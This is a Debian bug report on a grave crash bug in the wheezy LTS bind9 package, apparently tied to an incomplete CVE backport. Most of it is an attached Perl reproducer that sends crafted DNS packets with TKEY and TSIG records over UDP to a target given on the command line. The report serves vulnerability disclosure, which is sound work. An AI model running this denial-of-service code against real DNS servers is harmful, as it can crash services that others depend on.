Package: bind9
Version: 1:9.8.4.dfsg.P1-6+nmu2+deb7u10
Tags: security wheezy
Severity: grave

The wheezy LTS version of bind9 has an additional crasher bug.  It may
be due to an incomplete backport of the fix for CVE-2015-5477.  I'm
attaching the reproducer.

Upstream BIND without the fix for CVE-2016-2776 is *not* affected by
this issue, so it is something else.
use strict;
use warnings;

use Net::DNS;
use IO::Socket::INET;
use Socket;

$ARGV[0] or die "usage: $0 TARGET\n";

sub build_header {
    return "\x12\x34"		# message ID
	. "\1\0"		# query
	. "\0\1"		# 1 question record
	. "\0\0\0\0"		# no answer, no authority
	. "\0\3";		# additional record count
}

sub long_name ($$) {
    my ($pad, $length) = @_;
    my $result = "";
    while (length($result) < $length) {
	my $tofill = $length - length($result);
	if ($tofill > 63) {
	    $tofill = 60;
	}
	$result .= chr($tofill) . ($pad x $tofill);
    }
    return $result . "\0";
}

for my $length (240 .. 255) {
    for my $excess (20 .. 50) {
	my $packet = build_header() . long_name('a', $length);
	$packet .= "\0\1\0\1";		# IN A

	# Additional section.
	$packet .= "\0\0)" # OPT
	    . pack("n", 512 + $excess)
	    . "\0\0\200\0\0\0";

	$packet .= "\0\0\371\0\377\0\0\0\0";   # TKEY RR
	{
	    my $tkey_rdata = "\xc0\x0c"	# Compression reference
		. "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
	    $packet .= pack("n", length($tkey_rdata)) . $tkey_rdata;
	}
	if (0) {
	    $packet .= "\0\0\371\0\377\0\0\0\0";   # TKEY RR
	    {
		my $tkey_rdata = "\xc0\x0c"	# Compression reference
		    . "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
		$packet .= pack("n", length($tkey_rdata)) . $tkey_rdata;
	    }
	}

	$packet .= "\xc0\x0c\0\372\0\377\0\0\0\0";   # TSIG RR
	{
	    my $rdata = "\xc0\x0c"	# Compression reference
		. ("\0" x 14);
	    my $pad = "\xcc" x 0;
	    $rdata .= pack("n", length($pad)) . $pad;
	    $packet .= pack("n", length($rdata)) . $rdata;
	}

	if (0) {
	    my $copy = $packet;
	    my $pkt = Net::DNS::Packet->new(\$copy);
	    $pkt->print;
	}

	print "length: $length, excess: $excess, packet: "
	    . length($packet) . "\n";
	my $socket = IO::Socket::INET->new (PeerAddr => $ARGV[0],
					    PeerPort => 53,
					    Proto => 'udp');
	$socket->send($packet);
	$socket->setsockopt(SOL_SOCKET, SO_RCVTIMEO,
			    pack('l!l!', 0, 200 * 1000))
	    or die "setsockopt: $!";
	my $buf;
	eval {
	    local $SIG{ALRM} = sub { die "alarm\n" };
	    alarm 1;
	    $socket->recv($buf, 1000);
	    alarm 0;
	};
	$socket->close;
	print "answer: " . length($buf). "\n";
	# my $answer = Net::DNS::Packet->new(\$buf);
	# $answer->print;
    }
}

Reply via email to